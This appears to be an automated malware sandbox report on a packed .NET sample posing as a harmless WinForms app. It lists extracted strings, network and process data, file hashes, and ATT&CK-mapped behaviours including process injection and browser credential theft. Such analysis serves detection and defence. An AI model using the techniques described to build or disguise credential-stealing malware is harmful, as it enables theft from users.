ByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABBAE0ARABfAEkAcwBvAHQAbwBwAGUAcwAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAkD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
RSDS1yUH
C:\Users\Administrator\Desktop\Client\Temp\bQVuiKalWc\src\obj\Debug\BamwEud.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
U-5=EMU]dk
Fries
These are some fries
ner Pizza
Turkish Pizza
This is a turkish pizza
Vega Burger
This is a vegetarian hamburger
Double Cheeseburger
This is a double cheeseburger
Grilled Salmon
This is a grilled salmon
cbMenus
label1
Menu:
btnAddMenu
lstOrder
btnClearMenus
Clear
btnRemoveMenu
Remove
label2
Totalprice:
lblTotalPrice
OrderForm
ecmzTtRWcNehIELunsZbclNxTedL
AMD_Isotopes.Processors
StartGame
WinformsSandbox
Form1
Group of Groups!
WinformsSandbox.Properties.Resources
unify4
DataSource
GroupsBindingList
SelectedGroupBindingList
SelectedGroupDataGrid
PersonName
GroupsDataGrid
GroupName
Group Name
Roboto
GroupsView
Groups
{Random Group:
Leonor Halberg
Emil Hardin
Fredda Tardif
Regenia Kearley
Antonietta Batie
Rikki Melnyk
Claire Younger
Mindy Smale
Fredricka Vining
Maribeth Corum
Dagmar Paulson
Ariane Rexroat
Kristyn Drakeford
Susan Debose
Marisol Felter
Lenore Costner
Mitch Tremblay
Madie Penn
Eduardo Gloster
Ardella Bongiorno
Gertude Sherburne
Basilia Leger
Brianna Fleener
Kristian Langlois
Billi Torgerson
Tawnya Berenbaum
Ma Fritze
Lilly Ketchum
Lourie Snook
Brice Spece
Zenia Wilke
Leland Mccaslin
Sanjuanita Slemp
Elwanda Nasser
Melody Cockerham
Roseann Mcgillis
Jesse Sheffield
Lavona Dolloff
Raisa Holst
Regan Schoenberg
Gearldine Pettry
Ilene Mahr
Mitchell Rethman
Britney Riddell
Signe Shuman
Valery Solie
Sherril Portwood
Moshe Lirette
Renata Rael
Jefferey Brendel
Vallie Eidt
Nadia Wine
Neomi Mole
Jannette Gambrell
Tomika Graeber
Ricki Purdom
Martine Tetrault
Dorotha Dashiell
Shaunda Demko
Nereida Chisum
Joy Besaw
Bernardine Winebrenner
Omega Segawa
Patrina Morones
Buddy Sowell
Mahalia Landrum
Fleta Luft
Helen Le
Darlene Borton
Lai Lamont
Winona Lapan
Annie Romero
Samantha Crone
Tamela Weatherwax
Denyse Bosket
Margurite Estabrook
Sebastian Hassell
Joshua Brittingham
Clay Hudspeth
Loriann Burditt
Keshia Poplawski
Karissa Paugh
Annamarie Drees
Tifany Johnosn
Essie Critchfield
Eleanore Bradeen
Deidre Chauez
Santo Limbaugh
Fermina Spinelli
Deonna Higby
Ute Fouts
Joesph Speno
Timothy Fritz
Irene Houze
Brock Lambright
Buffy Claybrooks
Jarod Hofstetter
Holley Mousseau
Bettye Soderberg
Tammera Strebel
Editing
Please, put price in correct format!
Please, fill in all fields!!!
groupBoxButtons
Microsoft Sans Serif
buttonCancel
Cancel
buttonSave
Adding Products:
textBoxSku
labelSku
SKU Number
labelCategory
Category
textBoxCategory
labelTM
Trade Mark
textBoxTM
labelPrName
Product Name
textBoxPrName
labelSupplier
Supplier
textBoxSupplier
labelPrice
Price, UAH
textBoxPrice
labelStoreUn
Storage Unite
textBoxStoreUn
labelProductDetails
Product Details
textBoxProductDetails
AddEditForm
Adding product
Product Editing:
dataGridView1
buttonAdd
Add Product
buttonEdit
Edit Product
button3
Delete Product
groupBox1
buttonExit
EditDeleteAddForm
Products Amending
buttonShow
Show products
buttonAmend
Amend Products
Arial Narrow
labelProducts
Products
labelCatalogue
Catalogue
MainForm
ProductsDirectory.xml
SKU Number =
, Category =
, Trade Mark =
,Product Name =
, Product Details =
, Supplier =
Price = {0}, Storage Unit = {1}
ShowForm
Show Products
ecmzTtRWcNehIELunsZbclNxTedL
unify4
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
Winform Sandbox
FileVersion
1.98.4.0
InternalName
BamwEud.exe
LegalCopyright
Copyright
2017 - 2020
LegalTrademarks
OriginalFilename
BamwEud.exe
ProductName
Winform Sandbox
ProductVersion
1.98.4.0
Assembly Version
1.98.4.0
No antivirus signatures available.
Sorry! No behavior.

Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 1.1.1.1 [VT] Australia

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.1.3 58700 1.1.1.1 53
192.168.1.3 60886 1.1.1.1 53
192.168.1.3 58700 8.8.8.8 53
192.168.1.3 60886 8.8.8.8 53

DNS

No domains contacted.

HTTP Requests

No HTTP requests performed.

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Suricata HTTP

No Suricata HTTP

Sorry! No dropped Suricata Extracted files.

JA3

No JA3 hashes found.

Sorry! No dropped files.
Sorry! No CAPE files.
Process Name reg.exe
PID 1968
Dump Size 62464 bytes
Module Path C:\Windows\System32\reg.exe
Type PE image: 32-bit executable
PE timestamp 2009-07-13 23:15:56
MD5 e6c3e1a8b31e0e468222930a255bf90f
SHA1 91fb69399228f9d8c298859e9ff1355e2306dcc1
SHA256 e9d25e49dc9e4219690afcbdad60283e54eb62805ba1f74d88ddfe3a198fdfc4
CRC32 7A7C027F
Ssdeep 1536:NW1137oGDHbMRayvd1bu7X8NpRhLN/Kq06VQk:N0l7oSQe8VhLN/P06y
Dump Filename e9d25e49dc9e4219690afcbdad60283e54eb62805ba1f74d88ddfe3a198fdfc4
Download Download Zip

BinGraph Download graph

Process Name GoogleUpdate.exe
PID 3512
Dump Size 144384 bytes
Module Path C:\Program Files\Google\Update\GoogleUpdate.exe
Type PE image: 32-bit executable
PE timestamp 2020-03-02 23:22:03
MD5 cb03569862299aa2b1508ae7145f8d9e
SHA1 657ca3b10efd869e95d4adedcb72c2ce52a243fa
SHA256 7445c7da07d6d9239c0cf234a94bfca1fbc2b75b3fa97c49ea0ca9280f972a57
CRC32 BB43B07E
Ssdeep 3072:qWtoKah5ihFsDGh6OrvQAtB+llojrWTMK12XdjWtVAlR8yVciqFltCT3VmKE0gfL:MhEvQsB+F
Dump Filename 7445c7da07d6d9239c0cf234a94bfca1fbc2b75b3fa97c49ea0ca9280f972a57
Download Download Zip

BinGraph Download graph

Process Name services.exe
PID 464
Dump Size 258048 bytes
Module Path C:\Windows\System32\services.exe
Type PE image: 32-bit executable
PE timestamp 2015-04-13 01:58:57
MD5 cbf8cad294079d1612a91c3c3f44566d
SHA1 292e1fd7e7c22022547183bf2678ac84e07ab470
SHA256 ad51de8e3b40393864d5856fcd8e5d99a6ca5bb382c6ddf866d7f761295f1514
CRC32 8A508D19
Ssdeep 6144:1LgAOokc+uwYWkfwmvfVc7wmMawPXX/3gmT:6AqFeWkf3Nc7XMNP/3
Dump Filename ad51de8e3b40393864d5856fcd8e5d99a6ca5bb382c6ddf866d7f761295f1514
Download Download Zip

BinGraph Download graph

JSON Report Download
Defense Evasion Credential Access Collection Execution Privilege Escalation
  • T1116 - Code Signing
    • Signature - invalid_authenticode_signature
  • T1118 - InstallUtil
    • Signature - spawns_dev_util
  • T1055 - Process Injection
    • Signature - InjectionInterProcess
  • T1045 - Software Packing
    • Signature - packer_entropy
  • T1127 - Trusted Developer Utilities
    • Signature - spawns_dev_util
  • T1003 - Credential Dumping
    • Signature - infostealer_browser
  • T1081 - Credentials in Files
    • Signature - infostealer_browser
  • T1005 - Data from Local System
    • Signature - infostealer_browser
  • T1118 - InstallUtil
    • Signature - spawns_dev_util
  • T1127 - Trusted Developer Utilities
    • Signature - spawns_dev_util
  • T1055 - Process Injection
    • Signature - InjectionInterProcess

    Processing ( 27.595 seconds )

    • 20.73 BehaviorAnalysis
    • 5.287 Suricata
    • 0.469 Static
    • 0.411 CAPE
    • 0.187 static_dotnet
    • 0.169 VirusTotal
    • 0.067 ProcDump
    • 0.061 Deduplicate
    • 0.051 NetworkAnalysis
    • 0.051 TargetInfo
    • 0.045 AnalysisInfo
    • 0.024 Dropped
    • 0.022 Debug